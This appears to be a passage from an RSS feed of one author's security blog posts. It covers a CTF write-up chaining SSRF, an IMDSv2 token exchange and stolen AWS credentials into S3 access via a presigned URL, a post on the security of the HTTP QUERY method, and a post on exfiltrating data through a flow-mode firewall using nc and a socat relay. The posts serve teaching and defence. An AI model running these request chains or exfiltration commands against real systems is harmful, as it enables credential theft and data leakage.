work in that sentence, and it’s important not to round it up to “impossible.” Native code is not a security boundary — it’s an <strong>obstacle</strong>, not a wall. Tools built specifically for this kind of analysis are mature and widely used:</p><ul><li><strong>Ghidra</strong> and <strong>IDA Pro: F</strong>ull-featured disassemblers/decompilers that can produce pseudo-C from ARM/x86 machine code.</li><li><strong>Frida: A</strong>dynamic instrumentation toolkit that lets an analyst hook native functions <em>at runtime</em>, inspect arguments and return values, and even patch behavior on the fly, sidestepping a lot of the difficulty of static analysis entirely.</li></ul><p>That last one is worth sitting with for a second. Even a perfectly stripped, heavily optimized native library still has to actually execute its logic at runtime to be useful, and Frida can hook the exact JNI-exported function, log every call, and dump inputs and outputs, regardless of how unreadable the static disassembly looks. If a native function is decrypting a token or validating a license check, an analyst doesn’t necessarily need to fully understand the algorithm, they just need to observe what goes in and what comes out.</p><h3>Best Practices for Protecting Sensitive Functionality</h3><p>If native code alone isn’t a security boundary, what actually helps? A few practices, layered together, meaningfully raise the bar and more importantly, reduce what’s actually at stake if the client-side logic is reverse engineered:</p><ul><li><strong>Android Keystore with hardware-backed keys:</strong> Store cryptographic keys in the Keystore system, ideally backed by a device’s Trusted Execution Environment (TEE), so key material never needs to exist in extractable app memory in the first place.</li><li><strong>Server-side validation:</strong> Anything that determines a security-critical outcome entitlement checks, license validation, payment logic should ultimately be verified server-side. Client-side checks can inform UX, but shouldn’t be the sole gatekeeper.</li><li><strong>Code obfuscation:</strong> These tools shrink, obfuscate, and optimize the Java/Kotlin layer, renaming classes and methods and stripping unused code. This doesn’t touch native binaries, but it does raise the cost of analyzing the managed-code side of the app.</li><li><strong>Runtime integrity and attestation checks:</strong> Techniques like Google’s Play Integrity API, root/emulator detection, and anti-tampering checks help detect when an app is running in a modified or instrumented environment, making dynamic analysis with tools like Frida noisier and more detectable, even if <em>not impossible to bypass</em>.</li></ul><blockquote>None of these are individually bulletproof either, that’s the point. <strong>Defense-in-depth</strong>, not a single silver bullet, is what actually holds up under determined analysis.</blockquote><h3>Key Takeaways</h3><p><strong>For developers:</strong> native code can raise the effort required for casual reverse engineering, but it shouldn’t be your only line of defense for anything truly sensitive. Pair it with server-side validation, hardware-backed key storage, and integrity checks. Assume any purely client-side secret will eventually be observed.</p><p><strong>For penetration testers:</strong> when a Java-only static review hits a wall at a native library boundary, that’s a signal to escalate, not stop. Bring in Ghidra/IDA for static analysis of the .so, and use Frida to hook JNI-exported functions and observe behavior dynamically, to understanding what a native function actually does.</p><p><strong>For reverse engineers just getting into mobile:</strong> JADX will get you remarkably far, remarkably fast, on the Java/Kotlin side of an app but it’s the beginning of the toolkit, not the whole thing. The moment you see a lib/ folder full of .so files, that&#39;s your cue to bring in a proper native disassembler and a dynamic instrumentation framework, because that&#39;s usually exactly where the interesting logic has been tucked away.</p><p>That afternoon rabbit hole left me with a much clearer mental model of <em>why</em> that folder full of binaries looked the way it did, and a healthy reminder that &quot;harder to read&quot; and &quot;secure&quot; are very different claims.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a869b74987a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From SSRF to S3: Bypassing IMDSv2 and Bucket Policies with Presigned URLs]]></title>
            <link>https://medium.com/@yuvydarekar/from-ssrf-to-s3-bypassing-imdsv2-and-bucket-policies-with-presigned-urls-28977862f3e2?source=rss-11b2a4d932b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/28977862f3e2</guid>
            <category><![CDATA[aws-s3]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-ec2]]></category>
            <category><![CDATA[aws-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Yuvraj Darekar]]></dc:creator>
            <pubDate>Thu, 09 Jul 2026 15:38:30 GMT</pubDate>
            <atom:updated>2026-07-09T17:07:53.646Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Most SSRF writeups end the same way: reach the metadata service, grab a set of temporary credentials, aws s3 cp the flag, done. This time the challenge was different. Every time I thought I&#39;d won, AWS quietly closed the door in front of me, first with a naive IP filter, then with an S3 bucket policy that rejected my freshly stolen IAM role. Getting through required treating the compromised EC2 instance not as a stepping stone, but as a <em>trusted identity</em> I could borrow. That distinction is the whole story of this post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RqsMaqvAU_c2QimWVc2PWg.png" /></figure><h3>Challenge Description</h3><p>The scenario was simple on paper: an internal DevOps monitoring dashboard had accidentally been deployed with debug endpoints enabled on a public-facing EC2 instance, and somewhere behind it sat an S3 bucket holding sensitive configuration data. The goal was to retrieve the flag from that bucket. The one hint offered was that the debug endpoints revealed more than intended, and that the instance itself “knew who it was”, <em>a phrasing that turned out to matter a great deal.</em></p><h3>Initial Reconnaissance</h3><p>With just a public IP to go on, I started with the basics. I ran an nmap service scan and found out port 80 was open, and the response headers and error pages pointed to a Flask application, <em>Werkzeug’s fingerprints are hard to miss once you’ve seen a few of them</em>.</p><p>Browsing the homepage turned up a handful of routes, everything else looked like static dashboard scaffolding. These two looked like they talked to something:</p><ul><li>/metrics/config</li><li>/internal/webhook</li></ul><h3>Discovering the Configuration Leak</h3><p>/metrics/config returned a JSON blob, exactly the kind of &quot;debug endpoint&quot; the challenge description warned about:</p><pre>{<br> &quot;flags&quot;: {<br>   &quot;debug_endpoints&quot;: true,<br>   &quot;metrics_auth&quot;: false<br> },<br> &quot;identity&quot;: {<br>   &quot;imds&quot;: &quot;http://169.254.169.254/latest/meta-data/iam/security-credentials/&quot;<br> },<br> &quot;storage&quot;: {<br>   &quot;bucket&quot;: &quot;ctf-cloud-challenge&quot;,<br>   &quot;prefix&quot;: &quot;players/656&quot;<br> }<br>}</pre><p>This was effectively a map of the intended attack path, handed to me for free. identity confirmed the app&#39;s backend had a relationship with the EC2 <strong>Instance Metadata Service (IMDS)</strong> — the endpoint every EC2 instance can reach at the link-local address 169.254.169.254, which serves instance identity, network config, and, critically, IAM role credentials. storage told me exactly where the flag was going to live. I now had a target and a plausible route to it. What I didn&#39;t have yet was a way to actually reach IMDS myself.</p><h3>Identifying the SSRF Primitive</h3><p>That’s where /internal/webhook came in. Calling it with no arguments returned: URL parameter missing</p><p>That single error message is a tell almost every SSRF hunter recognizes: the endpoint expects a url parameter, fetches whatever it&#39;s given, and returns the result. Internal webhook/callback handlers are one of the most common places this pattern shows up, because &quot;let the server make an HTTP request on my behalf&quot; is exactly what a webhook does, the vulnerability is just a side effect of doing that without validating <em>where</em> the request is allowed to go.</p><blockquote><strong>A quick primer on SSRF:</strong> Server-Side Request Forgery happens when an attacker can induce a server to make HTTP requests to a destination of the attacker’s choosing. Normally this is dangerous because the server sits inside a trust boundary the attacker doesn’t — it can reach internal services, other hosts on a private VPC, or cloud-provider-only endpoints like IMDS that are deliberately unreachable from the public internet.</blockquote><p>I pointed it at IMDS directly:</p><p>GET /internal/webhook?url=http://169.254.169.254/latest/meta-data/</p><p>And got shut down immediately:</p><p>Direct access to internal IP ranges is not allowed.</p><p>So there was a filter. <em>Not a great one, as it turned out,</em> but a filter.</p><h3>Bypassing the Internal IP Restriction</h3><p>My first instinct was to try the usual header tricks — X-Forwarded-For, X-Real-IP, and similar spoofing headers that sometimes fool applications doing access control based on the wrong signal. None of it mattered here, I believe the filter wasn&#39;t reading headers at all; it was pattern-matching the URL string itself against the 169.254.0.0/16 range.</p><p>That’s a filtering approach with a well-known weakness: it only blocks what it recognizes, not what’s actually reachable. AWS doesn’t only expose IMDS at its literal IP, it also resolves the legacy hostname<a href="http://instance-data/">instance-data</a></p><p>This hostname has existed since the early EC2 SDKs and still resolves to the same metadata service on instances where it hasn’t been explicitly disabled. Because the filter was matching on 169.254, a hostname it had never been told about sailed straight through:</p><p>GET /internal/webhook?url=http://instance-data/latest/meta-data/</p><p>This time, the response came back with metadata contents.</p><p>The lesson here is one of the oldest in SSRF defense: <strong>blocklisting is a losing game.</strong> Any filter built around recognizing “bad” strings has to enumerate every alias, hostname, encoding, and redirect an attacker might use — the correct approach is an allowlist of destinations the server is permitted to reach at all.</p><h3>Extracting IMDSv2 Credentials</h3><p>Reaching the metadata service didn’t immediately hand me credentials, because the instance was running <strong>IMDSv2</strong>. It’s worth explaining why that matters.</p><blockquote>The original metadata service (IMDSv1) answers any GET request with no authentication at all — which made it a favorite target for SSRF chains, since a single blind request could pull IAM credentials straight out. IMDSv2 was introduced specifically to raise that bar: it requires a session first. A caller has to PUT a request to a token endpoint, get back a short-lived token, and then include that token as a header on every subsequent metadata request. Plain GETs without a token are refused outright.</blockquote><p>The important, uncomfortable truth is that IMDSv2 defends against <em>some</em> SSRF, not all of it. It stops an attacker who can only control the URL of a GET request (say, through an &lt;img src&gt; or an open redirect). It does <strong>not</strong> stop an attacker who like me here, controls a webhook capable of making arbitrary requests with arbitrary methods and headers. My SSRF primitive could do a PUT, so it could get a token, and once it had a token, IMDSv2 offered no further resistance.</p><p>Getting the token through the SSRF endpoint:</p><pre>PUT /internal/webhook?url=http://instance-data/latest/api/token<br>Header: X-aws-ec2-metadata-token-ttl-seconds: 21600</pre><p>With that token in hand, I pulled the attached role name:</p><pre>GET /internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/<br>Header: X-aws-ec2-metadata-token: &lt;token&gt;</pre><p>And then the temporary credentials tied to that role:</p><pre>GET /internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/&lt;role-name&gt;<br>Header: X-aws-ec2-metadata-token: &lt;token&gt;</pre><p>The response gave me an AccessKeyId, SecretAccessKey, and SessionToken — a full set of temporary AWS credentials, scoped to whatever the instance&#39;s IAM role was permitted to do.</p><h3>Accessing AWS Resources</h3><p>With credentials in hand, I configured AWS CLI and expected this to be close to over:</p><pre>aws s3 cp s3://ctf-cloud-challenge/players/656/flag.txt .</pre><p>It wasn’t</p><h4>The S3 bucket policy Roadblock</h4><p>Access Denied due to a resource-based policy when calling the GetObject operation</p><p>This is where the challenge stopped being a straightforward “steal creds, win” exercise. A quick refresher on why:</p><blockquote>In AWS, whether a request to S3 succeeds is decided by evaluating <em>both</em> the identity-based policy attached to the caller (the IAM role, in this case) <em>and</em> any resource-based policy attached to the bucket itself. Either side can say no.</blockquote><p>Here, the IAM role’s permissions were broad enough to read the object, but the <strong>bucket policy</strong> was layered on top, almost certainly restricting access by source IP, VPC endpoint, or some other condition the CLI, running from my own machine, simply didn’t satisfy.</p><h4>Thinking Beyond Direct Access</h4><p>I tried routing the S3 GetObject call itself back through the SSRF endpoint, on the theory that if the <em>request</em> originated from the EC2 instance&#39;s network position, the bucket policy&#39;s conditions might be met. That didn&#39;t pan out either — constructing a valid, signed AWS API call through a generic URL-fetching webhook wasn&#39;t something the endpoint was built to support.</p><p>At that point I stepped back and reread what I actually had: valid credentials, an SSRF primitive that could fetch <em>any</em> URL from inside the trusted network, and a bucket policy that cared about where a request came from. The gap between those pieces was the whole puzzle.</p><h4>Leveraging Presigned URLs</h4><p>The piece that closed the gap was the presigned URL — an AWS feature that lets you generate a plain HTTPS link, signed with a set of credentials, that grants time-limited access to a specific S3 object without the requester needing any AWS credentials of their own. Generating one doesn’t require satisfying the bucket policy; the signature just proves the <em>link</em> was minted by an authorized principal.</p><p>I generated one using the stolen role’s credentials:</p><pre>aws s3 presign s3://ctf-cloud-challenge/players/656/flag.txt --expires-in 300</pre><p>That link, opened from my own machine, would still hit the same bucket policy wall. But I didn’t have to open it myself. I had a server sitting inside the network the bucket policy trusted, and that server would fetch any URL I gave it:</p><p>GET /internal/webhook?url=&lt;presigned-S3-URL&gt;</p><p>The EC2 instance made the request. Because <em>it</em> originated the fetch, it satisfied whatever network-position condition the bucket policy was enforcing, and because the URL carried a valid signature, S3 had no reason to check anything else.</p><h3>Retrieving the Flag</h3><p>The webhook’s response came back with the contents of the object — the flag, delivered by the vulnerable app itself, having unknowingly acted as the final relay in its own compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ir_H4ewVKLXRFX1l7Qhu2Q.png" /><figcaption>SSRF IMDS Attack chain</figcaption></figure><h3>Lessons Learned</h3><p>Every individual control here was reasonable in isolation. Stacked together, they still failed, because each one only defended against the specific attacker shape its designer imagined:</p><ul><li>The debug endpoint assumed nobody outside the team would ever request it, so it leaked infrastructure details.</li><li>The SSRF filter assumed attackers would only try the literal IMDS IP address, so a legacy hostname walked right past it.</li><li>IMDSv2 assumed attackers could only control simple GET requests, so a full-featured SSRF primitive that could PUT defeated it just as easily as IMDSv1.</li><li>The bucket policy assumed network position was a reliable proxy for trust. Arequest relayed <em>through</em> the trusted network, rather than made <em>by</em> an attacker directly sailed through.</li><li>IAM and bucket policies were each individually correct but never reconciled: possessing valid credentials said nothing about whether a given request would actually be allowed.</li></ul><h3>Key Takeaways</h3><ul><li><strong>Never expose debug or monitoring endpoints publicly.</strong> If a route exists for internal troubleshooting, it belongs behind authentication and a private network boundary, not on the open internet.</li><li><strong>Treat any user-influenced outbound request as SSRF risk.</strong> Webhook handlers, URL previewers, and “fetch this for me” features need strict allowlisting of destinations, not blocklisting of known-bad ones.</li><li><strong>Don’t rely on IP-based filtering to protect cloud metadata endpoints.</strong> Prefer disabling IMDSv1, enforcing IMDSv2 with a low hop limit, or blocking metadata access entirely at the instance or container level when the workload doesn’t need it.</li><li><strong>Remember that IMDSv2 raises the bar, it doesn’t remove it.</strong> An SSRF primitive with control over HTTP methods and headers can still complete the full token exchange.</li><li><strong>Audit presigned URL generation and metadata access as sensitive events.</strong> Both are quiet, legitimate-looking AWS API calls that are also exactly what an attacker mid-chain would generate.</li></ul><h3>Conclusion</h3><p>What made this challenge satisfying wasn’t any single vulnerability — it was that each defensive layer forced a change in approach rather than a dead end. The debug endpoint gave away the map, the SSRF gave a way to move, IMDSv2 demanded a smarter request instead of a simpler one, and the bucket policy demanded I stop thinking like an outside attacker and start thinking like the compromised instance itself. That’s the real skill this kind of CTF is testing: not finding one bug, but recognizing when the way through is to borrow someone else’s trusted position rather than trying to break the lock in front of you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28977862f3e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP’s Newest Method: A Security Engineer’s Take on QUERY]]></title>
            <link>https://medium.com/@yuvydarekar/https-newest-method-a-security-engineer-s-take-on-query-c825c45ce240?source=rss-11b2a4d932b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c825c45ce240</guid>
            <category><![CDATA[cloudflare]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Yuvraj Darekar]]></dc:creator>
            <pubDate>Fri, 03 Jul 2026 06:26:07 GMT</pubDate>
            <atom:updated>2026-07-03T06:26:07.088Z</atom:updated>
            <content:encoded><![CDATA[<p>Search endpoints have a dirty little secret: a huge number of them are POST requests pretending to be reads. GET can’t carry a real body, so the moment a query gets past a couple of simple filters, teams default to POST — and just like that, on the wire, a “read” operation becomes indistinguishable from something that writes data. It’s one of those workarounds that got baked into API design so long ago that most people don’t even question it anymore.</p><p>Apparently the IETF did. In June 2026, RFC 10008 was published, standardizing a brand-new HTTP method built specifically to close this gap: <strong>QUERY</strong>. It’s co-authored by engineers from Cloudflare and Akamai, which tells you this isn’t some academic exercise, the people running a huge chunk of the world’s HTTP traffic wanted this fixed.</p><p>So let’s get into what QUERY actually is, and more importantly, what it means for those of us whose job is keeping APIs from getting owned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ozoxFfYGUS8Z24M77OV5ZQ.png" /><figcaption>GET vs POST vs QUERY Comparison</figcaption></figure><h3>The gap we’ve all been papering over</h3><p>GET was always the “correct” method for fetching data. It’s <strong>safe</strong> (doesn’t change server state), <strong>idempotent</strong> (repeat it as many times as you like, same result), and <strong>cacheable</strong> by default. Every proxy, browser, and CDN on the planet understands exactly what a GET means. The problem is GET has no real way to carry a meaningful request body — everything has to live in the URL.</p><p>That’s fine for ?id=42. It falls apart the moment your query gets complicated: multi-field filters, nested JSON, GraphQL payloads, search facets. You start hitting URL length ceilings, you end up with <strong>sensitive filter data sitting in access logs</strong>, browser history, and referrer headers, and every unique combination of parameters becomes its own &quot;resource&quot; for caching purposes, which is its own mess.</p><p>So teams reach for POST. POST solves the body problem completely, but it lies about intent. POST is <strong>neither safe nor idempotent</strong> by spec, so nothing downstream — caches, retry logic, load balancers, monitoring can safely assume it’s just a read. You lose caching, you lose automatic retries on network blips, and honestly, from a security review perspective, a POST /search endpoint is indistinguishable at the protocol level from an endpoint that&#39;s mutating data.</p><h3>Enter QUERY</h3><p>QUERY is basically what happens when you ask <em>“why can’t we have GET’s guarantees with POST’s flexibility?”</em> It <strong>carries a request body</strong> just like POST, but the spec <strong>explicitly marks it safe and idempotent</strong>, same as GET. A basic request looks like this:</p><pre>QUERY /search HTTP/1.1<br>Host: api.example.com<br>Content-Type: application/json</pre><pre>{&quot;category&quot;: &quot;books&quot;, &quot;year&quot;: 2025, &quot;sort&quot;: &quot;relevance&quot;}</pre><p>The response can be cached, the request can be retried automatically, and servers can advertise exactly which query formats they accept using a new Accept-Query response header. It&#39;s not tied to any specific query language — JSON, SQL fragments, GraphQL, XSLT, whatever the resource wants to support. That flexibility is the whole point, and also, as we&#39;ll get to, exactly where things get interesting from a security angle.</p><h3>Why this is genuinely good news for your security posture</h3><p>A few things about QUERY actually work in defenders’ favor, and they’re worth knowing before someone frames this purely as <em>“one more attack surface.”</em></p><p>First, <strong>sensitive query data stops leaking into URLs</strong>. If your filter criteria include account numbers, email fragments, or anything else you don’t want sitting in a CDN access log for a year, moving it into a QUERY body is a real improvement over the GET-with-a-massive-querystring pattern.</p><p>Second, and this is the one that gets underrated — QUERY isn’t on the list of CORS-safelisted methods. That means any cross-origin QUERY request from a browser <strong>triggers a preflight check</strong>, the same protection PUT, DELETE, and PATCH already get. GET and simple POST requests, by contrast, can be fired cross-origin with zero preflight, which is exactly why so many “harmless” read endpoints have ended up in CSRF or cross-site request forgery-adjacent findings over the years, especially ones that trigger expensive server-side work. Migrating those endpoints to QUERY closes that door for browser-based clients specifically.</p><h3>What to actually watch out for while implementing it</h3><p>None of this is a free lunch, though, and a few things deserve real attention before you ship it.</p><p>The RFC’s own example of a QUERY payload is a raw SQL fragment. That should make every security engineer’s eyebrow twitch. If your implementation of Accept-Query includes anything resembling a native query language, you are effectively exposing a query interface over HTTP, and it needs the same rigor as any other injection-prone surface — strict parsing, sandboxing, least-privilege execution, no direct pass-through to your database engine, full stop.</p><p>Second, caching just got more complicated. Because the request body is part of what makes a QUERY unique, the cache key has to be built from the body content and metadata, not just the URL. That’s already sparked debate — including a pretty lively <a href="https://news.ycombinator.com/item?id=41552804">Hacker News thread</a> — about how easy this makes cache key manipulation and cache poisoning if normalization is done sloppily. If you’re fronting QUERY endpoints with a CDN or reverse proxy, get very specific about how that layer builds cache keys.</p><p>Third, “safe” doesn’t mean “harmless.” A QUERY can still trigger a genuinely expensive backend operation, think complex joins or deep aggregation. So all your usual resource-exhaustion protections (body size limits, timeouts, complexity limits) still apply, arguably more than ever since there’s no natural URL-length ceiling holding the input size down anymore.</p><p>And don’t forget the boring stuff: your WAF rules, IDS signatures, and API gateway policies were almost certainly written with GET, POST, PUT, and DELETE in mind. A brand-new method can slip past rules that pattern-match on verb, so make sure QUERY bodies get the same inspection a POST body would.</p><h3>If you’re the one trying to break it</h3><p>From a testing standpoint, treat a QUERY body exactly like you’d treat a POST body because functionally, that’s what it is. A few things I’d specifically go after:</p><ul><li><strong>Verb-based bypass.</strong> Check whether authorization, rate limiting, or WAF rules scoped to specific methods actually cover QUERY, or whether switching a protected endpoint’s method quietly slips past controls that were never updated.</li><li><strong>Injection, as usual.</strong> If the server accepts anything resembling SQL, XPath, or XSLT as a query format, go after it like you would any query-language input — and remember XSLT processors have a long history of XXE and SSRF via external entity resolution.</li><li><strong>Cache poisoning.</strong> With the cache key now derived from the body, test whether inconsistent normalization (whitespace, key ordering, header variance) lets you get a malicious response cached and served to other users.</li><li><strong>CORS assumptions.</strong> Confirm preflight is actually enforced and not undermined by an overly permissive CORS config — and remember preflight only protects browser-originated requests, not server-to-server or curl-based abuse.</li><li><strong>Idempotency claims.</strong> Actually verify the endpoint doesn’t have side effects. “Safe” is a promise in the spec, not a guarantee in the implementation.</li></ul><p>QUERY is a good, overdue addition to HTTP. It fixes a real design gap that’s forced a decade of awkward POST workarounds. But like every new primitive, it’s only as secure as the team implementing it and right now, tooling, WAF rulesets, and a lot of muscle memory haven’t caught up yet. That gap is exactly where the interesting findings are going to live for the next year or two.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c825c45ce240" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exfiltrating Data Through the Cracks: How TCP Bypasses NextGen Firewalls]]></title>
            <link>https://medium.com/@yuvydarekar/exfiltrating-data-through-the-cracks-how-tcp-bypasses-nextgen-firewalls-8c97c6265951?source=rss-11b2a4d932b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c97c6265951</guid>
            <category><![CDATA[data-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[data-exfiltration]]></category>
            <category><![CDATA[firewall]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[Yuvraj Darekar]]></dc:creator>
            <pubDate>Fri, 26 Jun 2026 14:57:50 GMT</pubDate>
            <atom:updated>2026-06-26T14:57:50.934Z</atom:updated>
            <content:encoded><![CDATA[<p>Most data exfiltration focuses on the obvious channels: DNS tunneling, HTTPS uploads to attacker-controlled infrastructure, cloud storage abuse. Defenders spend a lot of energy here, and Next-Generation Firewalls (NGFWs) are reasonably good at catching them. But recent, I stumbled onto a subtler gap — one that doesn’t live in the application payload at all, but in the handful of packets a firewall waves through <em>before</em> it has decided what the traffic actually is.</p><p>This article walks through what I found, why it works, and what it means for anyone relying on a stateful NGFW as their last line of defense against exfiltration.</p><figure><img alt="Proxy mode vs Flow mode in Next Gen Firewall" src="https://cdn-images-1.medium.com/max/1024/1*uvGdhBNIPEXFHfv538auYg.png" /><figcaption>Proxy mode vs Flow mode in Next Gen Firewall</figcaption></figure><h3>The Setup: Validating Outbound Controls</h3><p>The goal was straightforward. I wanted to know whether an internal server sitting behind an NGFW with a restrictive egress policy could ship arbitrary data to an external host I controlled.</p><p>The first test was the canonical one. From the internal server, I tried to push data using HTTPS protocol to my external nc listener. The result was interesting in a way I didn’t expect:</p><ul><li>The TCP connection <strong>succeeded</strong>. The internal service reported an established session, and the listener logged an inbound connection.</li><li>But <strong>no application data ever arrived</strong>. The listener accepted the connection and then sat there empty.</li></ul><p>The intuitive read is “the firewall blocked it,” and that’s roughly right. But the detail that matters is <em>how</em> it blocked it. The connection was allowed to form. The handshake completed. Packets clearly traversed the firewall in both directions, otherwise the TCP session could never have reached ESTABLISHED. Only the subsequent data-bearing packets got dropped.</p><p>That distinction is the whole story.</p><h3>Why the Connection Forms but the Data Doesn’t</h3><p>To understand this, you need to understand how modern NGFWs actually classify traffic, and the trade-off between two inspection architectures: <strong>flow mode </strong>and <strong>proxy mode</strong>.</p><h3>Application identification happens after the connection starts</h3><p>An NGFW does not decide “this is HTTP” or “this is SSH” from the port number alone, that’s the entire point of being “next-gen.” Instead it relies on application identification. The catch is that you cannot identify an application from nothing. The firewall needs to see actual bytes flowing across the session before its signatures can fire.</p><p>In practice this means the lifecycle of a session looks something like:</p><ol><li>The TCP three-way handshake (SYN, SYN-ACK, ACK) is permitted based on the coarse policy (e.g., &quot;outbound to port 80 is allowed pending inspection&quot;).</li><li>The first few data packets are allowed through so the engine can collect enough payload to classify the application.</li><li>Once classified, the <em>real</em> policy decision is enforced. If the identified application or content violates policy, the session is dropped or reset — but the early packets are already gone.</li></ol><p>This is sometimes described as the firewall needing to “see” a number of packets before App-Identification converges. During that window, traffic is permitted on faith.</p><h3>Flow mode optimizes for latency, not for catching the first packet</h3><p>The two inspection modes handle this window very differently:</p><ul><li><strong>Flow mode</strong> inspects packets as they stream through, in near real time, without buffering the whole conversation. It’s significantly lower latency and scales to far more concurrent sessions, which is exactly why most organizations run it by default. The cost is that some packets are forwarded <em>before</em> a verdict exists. Inspection is racing the traffic rather than gating it.</li></ul><figure><img alt="Flow-Based Firewall — Connection Established First, Then Blocked" src="https://cdn-images-1.medium.com/max/1024/1*tUN_oe8vJ5nEEkeUD0X3EA.png" /><figcaption>Flow-Based Firewall — Connection Established First, Then Blocked</figcaption></figure><ul><li><strong>Proxy mode</strong> terminates the connection at the firewall. The firewall completes the handshake with the client itself, buffers the data, fully reconstructs and inspects the stream, and only then opens a separate connection to the destination. Nothing reaches the far side until inspection is satisfied. This is thorough but adds latency and consumes more memory and CPU per session.</li></ul><figure><img alt="Proxy-Based Firewall — Connection Blocked Before Client TCP Session Exists" src="https://cdn-images-1.medium.com/max/1024/1*InPTnJILSDfslMZEBbBfdg.png" /><figcaption>Proxy-Based Firewall — Connection Blocked Before Client TCP Session Exists</figcaption></figure><p>The firewall was in flow mode, and that’s precisely why the connection in our first test succeeded while the data was blocked: the handshake and possibly a leading packet or two slipped through during classification, then App-ID recognized the session, matched it against egress policy, and shut the data down.</p><p>The defender’s mental model “the firewall blocked exfiltration” was wrong. The correct model is: “the firewall blocked exfiltration <em>eventually</em>, after letting some bytes leave.”</p><h3>Turning the Inspection Gap Into a Channel</h3><p>If the firewall reliably forwards a small amount of traffic at the start of every session before deciding to drop it, then exfiltration becomes an exercise in fitting your data into that pre-verdict window, critically doing it in a way that doesn’t immediately trip the application classifier.</p><p>In our case, the breakthrough came from changing what was on the receiving end. A raw nc listener wasn&#39;t enough, because the relevant bytes needed to be captured and inspected even though the session would be torn down. So I built a small relay chain on the external listener:</p><pre># Relay inbound port 80 to a local service, printing everything it sees<br>sudo socat -v TCP-LISTEN:80,fork,reuseaddr TCP:127.0.0.1:8080<br><br># A local sink that completes the conversation<br>python3 -m http.server 8080</pre><p>Then, from the internal server:</p><pre>echo &quot;test message&quot; | nc &lt;listener IP&gt; 80</pre><p>And the payload showed up,socat&#39;s output printed test message on the listener.</p><p>A few things are worth unpacking here, because the architecture of the receiver is doing real work:</p><ul><li><strong>socatis the capture mechanism.</strong> Unlike a plain nc listener, socat dumps every byte that crosses it. Even if the connection is short-lived, whatever data made it through the firewall is logged the instant it arrives. This is what made the leaked bytes <em>visible</em> rather than silently lost.</li><li><strong>The </strong><strong>fork,reuseaddr options make the listener resilient.</strong> fork spins up a new child process per connection so repeated attempts don&#39;t collide, and reuseaddr lets the listener re-bind immediately instead of stalling on TIME_WAIT. When you&#39;re exfiltrating data through short lived connection via small sized packets, you want a receiver that recovers instantly between attempts rather than one you have to babysit.</li><li><strong>The downstream </strong><strong>http.server gives the conversation somewhere to go.</strong> By relaying to a real local service, the far end behaves enough like a legitimate web exchange to keep the early packets unremarkable while socat siphons off a copy. The HTTP server is essentially a convincing sink; the actual exfiltration value is captured before it.</li></ul><p>The data we recover is small, this is not a channel for moving gigabytes. But exfiltration rarely needs bandwidth. API keys, private keys, credentials, session tokens, and configuration secrets are all small. A few hundred bytes that slip out before the firewall says “no” is more than enough to matter.</p><h3>Why This Is Easy to Miss</h3><p>This technique is uncomfortable precisely because every component behaves “correctly”:</p><ul><li>The <strong>firewall</strong> is doing its job. It identified the application and blocked the disallowed session. From the firewall’s logs, the session likely shows up as denied or reset, a <em>success</em> story for the SOC, not an alert.</li><li>The <strong>TCP stack</strong> is doing its job. A handshake completed; a few segments were delivered; the connection was later reset. Nothing anomalous at the protocol level.</li><li>The <strong>egress policy</strong> is, on paper, enforced. Sustained data transfer to an unknown host on port 80 was stopped.</li></ul><p>The leak hides in the seam between “connection permitted” and “application denied.” Logs that record the final verdict don’t capture the bytes that left during classification. Unless you are specifically correlating <em>allowed pre-verdict packets</em> against <em>denied sessions</em>, this looks like normal, healthy blocking.</p><h3>Defensive Takeaways</h3><p>The point of this was never to break our own controls for sport, it was to understand where our assumptions about egress security were thinner than we thought. A few conclusions came out of it that should generalize to most environments running NGFWs in flow mode.</p><p><strong>1. Understand the performance/security trade-off you actually chose.</strong><br> Flow mode is the default for most networks — the latency and scale benefits are real. But it is a trade-off, and it should be a <em>deliberate</em> one. For your most sensitive segments (systems holding secrets, signing keys, regulated data), consider proxy-mode inspection or SSL/TLS termination where the firewall fully buffers and verifies before anything leaves. Pay the latency cost where the data is worth it.</p><p><strong>2. Don’t let the destination port set your expectations.</strong><br> The fact that traffic <em>looked</em> like HTTP on port 80 is irrelevant — and that’s exactly the assumption attackers exploit. Egress policy should be default-deny to the internet, with an explicit allowlist of known destinations and applications. “Outbound 80/443 allowed pending inspection” is a generous default when inspection forwards-then-decides.</p><p><strong>3. Layer controls below and beside the firewall.</strong><br> The firewall is one checkpoint, not the perimeter. Combine it with:</p><ul><li><strong>Outbound destination allowlisting</strong> (IP/domain) for sensitive hosts, so unknown external listeners are never even handshaked.</li><li><strong>DLP and endpoint controls</strong> that catch secrets at the source, before they reach the wire.</li></ul><p><strong>4. Test the seams, not just the headline cases.</strong><br> Most egress validation stops at “can I open a sustained channel to the outside?” If the answer is no, the box gets checked. This method is a reminder to probe one layer deeper: not just whether the channel <em>stays</em> open, but what crosses the wire <em>before</em> it closes.</p><h3>Conclusion</h3><p>The most durable security gaps usually aren’t broken controls, they’re correct controls operating on an assumption that no longer holds. Here, the assumption was binary: traffic is either allowed or blocked. Flow-based NGFW inspection makes that assumption false. There’s a third state, <em>allowed, then blocked </em>and in that brief window, small but high-value data can leave the building while every log says everything worked as 